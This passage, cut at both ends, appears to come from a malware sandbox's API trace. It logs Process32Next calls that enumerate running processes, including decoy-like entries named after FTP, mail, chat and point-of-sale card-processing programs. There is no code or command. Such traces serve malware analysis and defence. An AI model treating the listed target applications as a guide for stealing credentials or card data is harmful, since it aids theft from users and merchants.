lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.042] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.044] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.046] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.048] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.050] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.052] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.054] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.056] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.058] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.060] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.062] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0232.064] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0232.066] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.068] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.070] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.071] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.073] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.075] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.077] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0232.079] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.081] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.082] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0232.084] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0232.086] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0232.089] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0232.091] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0232.092] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0232.094] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0232.096] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0232.098] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0232.100] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0232.102] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0232.104] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0232.142] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0232.144] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0232.146] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0232.147] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0232.149] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0232.151] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0232.153] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0232.155] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0232.156] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0232.158] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0232.159] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0232.161] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0232.164] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0232.166] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0232.168] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0232.170] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0232.172] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0232.174] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0232.176] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0232.178] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0232.180] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0232.182] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0232.184] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0232.186] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0232.188] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0232.190] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0232.192] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0232.194] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0232.196] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0232.198] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0232.200] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0232.203] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0232.204] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0232.207] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0232.209] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0232.211] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0232.213] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0232.217] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0232.219] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0232.221] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0232.230] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0232.233] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0232.235] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0232.236] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0232.238] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0232.240] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0232.242] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0232.244] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0232.245] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.247] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 